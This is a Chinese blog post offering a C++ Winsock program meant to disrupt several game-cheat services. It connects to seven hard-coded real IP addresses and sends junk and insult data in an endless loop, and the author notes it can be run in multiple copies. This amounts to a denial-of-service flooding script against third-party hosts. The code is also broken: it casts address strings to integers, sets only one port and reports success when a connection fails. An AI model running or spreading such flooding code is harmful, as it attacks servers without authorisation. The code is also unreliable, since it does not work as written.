首页 > 其他分享 >阻塞几个常玩的外挂

阻塞几个常玩的外挂

时间:2024-05-30 14:12:18浏览次数:16  
标签:200 外挂 常玩 addr 阻塞 printf buf sin socket

using namespace std;
#include<stdlib.h>
#pragma comment(lib,"WS2_32.lib")

#include <iostream>
#include <Windows.h>

SOCKET g_socket;
SOCKET g_socket2;
SOCKET g_socket3;
SOCKET g_socket4;
SOCKET g_socket5;
SOCKET g_socket6;
SOCKET g_socket7;
WSADATA wsd;
SOCKADDR_IN servAddr;//服务器地址
SOCKADDR_IN servAddr2;//服务器地址
SOCKADDR_IN servAddr3;//服务器地址
SOCKADDR_IN servAddr4;//服务器地址
SOCKADDR_IN servAddr5;//服务器地址
SOCKADDR_IN servAddr6;//服务器地址
SOCKADDR_IN servAddr7;//服务器地址
int retVal;//调用Socket函数的返回值
char buf[200];
int main()
{
    //初始化Socket环境
    if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) {
        printf("WSAStartup failed!\n");
        return 1;
    }

    //创建监听的Socket
    g_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    
    if (INVALID_SOCKET == g_socket) 
    {
        printf("socket failed!\n");
    }

    g_socket2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (INVALID_SOCKET == g_socket2)
    {
        printf("socket failed!\n");
    }

    g_socket3 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (INVALID_SOCKET == g_socket3)
    {
        printf("socket failed!\n");
    }
    g_socket4 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (INVALID_SOCKET == g_socket4)
    {
        printf("socket failed!\n");
    }
    g_socket5 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (INVALID_SOCKET == g_socket5)
    {
        printf("socket failed!\n");
    }

    g_socket6 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (INVALID_SOCKET == g_socket6)
    {
        printf("socket failed!\n");
    }
    g_socket7 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (INVALID_SOCKET == g_socket7)
    {
        printf("socket failed!\n");
    }
    //设置服务器Socket地址
    servAddr.sin_family = AF_INET;
    servAddr.sin_addr.S_un.S_addr = (ULONG)"104.21.42.44";

    servAddr2.sin_family = AF_INET;
    servAddr2.sin_addr.S_un.S_addr = (ULONG)"103.198.203.152";

    servAddr3.sin_family = AF_INET;
    servAddr3.sin_addr.S_un.S_addr = (ULONG)"180.111.196.17";

    servAddr4.sin_family = AF_INET;
    servAddr4.sin_addr.S_un.S_addr = (ULONG)"103.178.56.133";
    
    servAddr5.sin_family = AF_INET;
    servAddr5.sin_addr.S_un.S_addr = (ULONG)"58.217.250.18";

    servAddr6.sin_family = AF_INET;
    servAddr6.sin_addr.S_un.S_addr = (ULONG)"47.104.139.74";

    servAddr7.sin_family = AF_INET;
    servAddr7.sin_addr.S_un.S_addr = (ULONG)"103.84.110.229"; 
    //101.32.190.24 csol
    // 103.84.110.229
    // 103.198.203.152
    // 180.111.196.17
    //servAddr.sin_addr.S_un.S_addr = (ULONG)"58.217.250.17";
    //在实际应用中,建议将服务器的IP地址和端口号保存在配置文件中
    servAddr.sin_port = htons(80);
    //计算地址的长度
    //int sServerAddlen = sizeof(servAddr);
    //链接服务器
    retVal = connect(g_socket, (LPSOCKADDR)&servAddr, sizeof(servAddr));
    
    if (retVal != 0)
    {
        printf("OK in");
    }

    retVal = connect(g_socket2, (LPSOCKADDR)&servAddr2, sizeof(servAddr2));

    if (retVal != 0)
    {
        printf("OK in");
    }

    retVal = connect(g_socket3, (LPSOCKADDR)&servAddr3, sizeof(servAddr3));

    if (retVal != 0)
    {
        printf("OK in");
    }

    retVal = connect(g_socket4, (LPSOCKADDR)&servAddr4, sizeof(servAddr4));

    if (retVal != 0)
    {
        printf("OK in");
    }

    retVal = connect(g_socket5, (LPSOCKADDR)&servAddr5, sizeof(servAddr5));

    if (retVal != 0)
    {
        printf("OK in");
    }

    retVal = connect(g_socket6, (LPSOCKADDR)&servAddr6, sizeof(servAddr6));

    if (retVal != 0)
    {
        printf("OK in");
    }

    retVal = connect(g_socket7, (LPSOCKADDR)&servAddr7, sizeof(servAddr7));

    if (retVal != 0)
    {
        printf("OK in");
    }

    sprintf_s(buf,"鸟人猪守屎很甜懒子很田 4/0/7 ; *0.0000001f;  ;0* ;int 3; & Math_PI;");

apple:
        //顺序错乱发送 有数据震荡效果
        send(g_socket6, buf, 200, 0);
        recv(g_socket3, buf, 200, 0);
        recv(g_socket4, buf, 200, 0);
        recv(g_socket5, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        recv(g_socket, buf, 200, 0);
        recv(g_socket2, buf, 200, 0);
        recv(g_socket7, buf, 200, 0);
        recv(g_socket6, buf, 200, 0);

        Sleep(12);//处理器不加停歇会飙升,脚本可以多开灰常地灰常灰常啊
    goto apple;

}

控制台程序 vs 2022 去掉debug标记,不然有点慢

标签:200,外挂,常玩,addr,阻塞,printf,buf,sin,socket
From: https://www.cnblogs.com/wscccc/p/18222207

相关文章

  • 同步、异步、阻塞、非阻塞、回调函数
    同步、异步、阻塞、非阻塞、回调函数一、同步、异步和回调函数1.概念程序在执行过程中会存在函数调用,区分同步和异步的关键点在于函数调用后主程序如何运行。同步:函数调用后,主程序等待着函数返回才会继续往下运行。异步:函数调用后,主程序不等待函数返回就继续往下运行。......
  • SQLServer如何监控阻塞会话
    一、查询阻塞和被阻塞的会话SELECTr.session_idAS[BlockedSessionID],r.blocking_session_idAS[BlockingSessionID],r.wait_type,r.wait_time,r.wait_resource,s1.program_nameAS[BlockedProgramName],s1.login_nameAS[Blo......
  • SQLServer如何监控阻塞会话
    一、查询阻塞和被阻塞的会话SELECTr.session_idAS[BlockedSessionID],r.blocking_session_idAS[BlockingSessionID],r.wait_type,r.wait_time,r.wait_resource,s1.program_nameAS[BlockedProgramName],s1.login_nameAS[Block......
  • 数组类型的有界阻塞队列-ArrayBlockingQueue
    一:ArrayBlockingQueue简介  一个由循环数组支持的有界阻塞队列。它的本质是一个基于数组的BlockingQueue的实现。它的容纳大小是固定的。此队列按FIFO(先进先出)原则对元素进行排序。队列的头部是在队列中存在时间最长的元素。队列的尾部是在队列中存在时间最短的元素。......
  • 非阻塞sokcet和epoll
    在Muduo网络库中同时使用了非阻塞socket与epoll,在此简单梳理下。非阻塞sokcet和epoll共同工作的过程主要涉及网络编程中的非阻塞I/O和事件驱动机制。下面将详细解释这两者如何协同工作:非阻塞socket简介在传统的阻塞socket编程中,当调用如read、write、accept等函数时,如果当......
  • QT使用串口通信点击主界面通信阻塞
    1.问题导入在使用QT进行串口上位机开发时遇到鼠标点击主界面导致串口接收数据阻塞,无法继续在QT控件中更新接收到的数据。2.解决办法使用多线程:将串口通信放入子线程中。`QSerialPort*UARTDevide;//串口UART*newUART;//串口类QThreadUARTThred;//串口线程newUART->mo......
  • 一个Java基于阻塞的定时消费内存队列
     @Getter@AllArgsConstructorpublicenumInsertQueueEnum{A(30000,10,TimeUnit.SECONDS,2,1000),;privatefinalintcapacity;//队列长度privatefinalinttime;//最长阻塞时间privatefinalTimeUnittimeUnit;//最长阻塞时间单位privatefi......
  • openGauss 分析查询语句是否被阻塞
    分析查询语句是否被阻塞问题现象数据库系统运行时,在某些业务场景下,查询语句会被阻塞,导致语句运行时间过长。原因分析查询语句需要通过加锁来保护其要访问的数据对象。当要进行加锁时发现要访问的数据对象已经被其他会话加锁,则查询语句会被阻塞,等待其他会话完成操作并释放锁资......
  • 详解Redis持久化(持久化高危漏洞利用与多种对抗方案、RDB、AOF、同步手动持久化、异步
    谨防持久化+未授权访问漏洞入侵服务器CVE编号找不到,CNVD有一个:CNVD-2015-07557(国家信息安全漏洞共享平台漏洞编号)。这是我之前写过的文章,漏洞成因、影响范围、POC与对抗方案有详解:谨防利用Redis未授权访问漏洞入侵服务器RDB(RedisDatabase、全量保存,默认方式)极简概括:通过符......
  • fastapi - 同步接口也不会有IO阻塞!
    之前一直以为FastAPI对于同步IO会发生服务阻塞,直到今天看到了这一块代码,原来同步的函数会开线程去处理fastapi/routing.pyasyncdefrun_endpoint_function(*,dependant:Dependant,values:Dict[str,Any],is_coroutine:bool)->Any:#Onlycalledbyget_re......